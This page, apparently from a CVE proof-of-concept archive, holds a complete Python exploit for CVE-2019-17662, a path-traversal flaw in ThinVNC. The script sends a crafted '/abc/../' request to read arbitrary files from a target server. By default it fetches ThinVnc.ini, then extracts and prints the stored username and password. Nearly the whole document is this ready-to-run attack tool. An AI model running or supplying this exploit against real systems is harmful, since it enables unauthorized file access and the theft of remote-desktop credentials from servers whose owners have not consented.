4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-17662.py PY
#!/usr/bin/python3
#TinyVNC Arbitrary File Read
#CVE-2019-17662
#Re-implementation of broken PoC (EDB ID: 47519)
#AG | MuirlandOracle
#08/21

import sys, os, requests, re, argparse
from urllib3.exceptions import InsecureRequestWarning

#### Ignore Unverified SSL certs ####
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


class Exploit():
    def __init__(self):
        self.colours = self.Colours(self)
        self.s = requests.Session()
        self.s.verify = False

    #### Display ####
    class Colours():
        red = "\033[91m"
        green = "\033[92m"
        blue = "\033[34m"
        orange = "\033[33m"
        purple = "\033[35m"
        end = "\033[0m"

        def __init__(self, outer):
            self.parent = outer

        def print(self, msgType, text, die=True):
            if msgType == "fail":
                if not self.parent.args.accessible:
                    print(f"{self.red}[-] {text}{self.end}")
                else:
                    print(f"Failure: {text}")
                if die:
                    sys.exit(0)
            elif msgType == "success":
                if not self.parent.args.accessible:
                    print(f"{self.green}[+] {text}{self.end}")
                else:
                    print(f"Success: {text}")
            elif msgType == "warn":
                if not self.parent.args.accessible:
                    print(f"{self.orange}[*] {text}{self.end}")
                else:
                    print(f"Warning: {text}")
            elif msgType == "info":
                if not self.parent.args.accessible:
                    print(f"{self.blue}[*] {text}{self.end}")
                else:
                    print(f"Info: {text}")
            else:
                raise ValueError("Invalid colour function selected")


        def printBanner(self):
            if not self.parent.args.accessible:
                print(f"""{self.orange}
     _____ _     _    __     ___   _  ____ 
    |_   _| |__ (_)_ _\ \   / / \ | |/ ___|
      | | | '_ \| | '_ \ \ / /|  \| | |    
      | | | | | | | | | \ V / | |\  | |___ 
      |_| |_| |_|_|_| |_|\_/  |_| \_|\____|

                            {self.purple}@MuirlandOracle{self.end}

                """)

            else:
                print("ThinVNC Arbitrary File Read | @MuirlandOracle")



    ### Argument Parsing ####
    def parseArgs(self):
        parser = argparse.ArgumentParser(description="CVE-2019-17662 ThinVNC Arbitrary File Read")
        parser.add_argument("host", help="The target IP or domain")
        parser.add_argument("port", type=int, help="The target port (1-65535)")
        parser.add_argument("-f","--file", default="../ThinVnc.ini", help="The file to read (default: ../ThinVnc.ini")
        parser.add_argument("-s","--ssl", default=False, action="store_true",  help="Does the server use SSL?")
        parser.add_argument("--accessible", default=False, action="store_true", help="Remove banners and make exploit friendly for screen readers")
        self.args = parser.parse_args()
        if self.args.port not in range(1,65535):
            self.colours.print("fail", f"Invalid port number: {self.args.port}")
        self.args.host = re.sub("https?://|\/$", "", self.args.host)
        
    #### Perform the path traversal ####
    def exploit(self):
        url = f"""{"https" if self.args.ssl else "http"}://{self.args.host}:{self.args.port}/abc/../{self.args.file}"""
        req = requests.Request(method="GET", url=url)
        prep = req.prepare()
        prep.url = url
        try:
            r = self.s.send(prep, timeout=3)
        except requests.exceptions.ConnectTimeout:
            self.colours.print("fail", f"Could not connect to the target ({self.args.host}:{self.args.port})")
        except KeyboardInterrupt:
            self.colours.print("info", "Exiting...")
            return
        except:
            self.colours.print("fail", f"Could not connect to target: {self.args.host}")

        if r.status_code != 200:
            self.colours.print("fail", "Error retrieving file")
        
        if self.args.file != "../ThinVnc.ini":
            self.colours.print("success", f"Retrieved file ({self.args.file}):")
            print(r.text)
            return

        creds = re.findall("(?:User|Password)=([^\r]*)", r.text)
        if len(creds) < 2:
            self.colours.print("fail", "Unable to retrieve credentials")
        self.colours.print("success", "Credentials Found!")
        print(f"""Username:\t{creds[0]}\nPassword:\t{creds[1]}\n\n""")


if __name__ == '__main__':
    exploit = Exploit()
    exploit.parseArgs()
    exploit.colours.printBanner()
    exploit.exploit()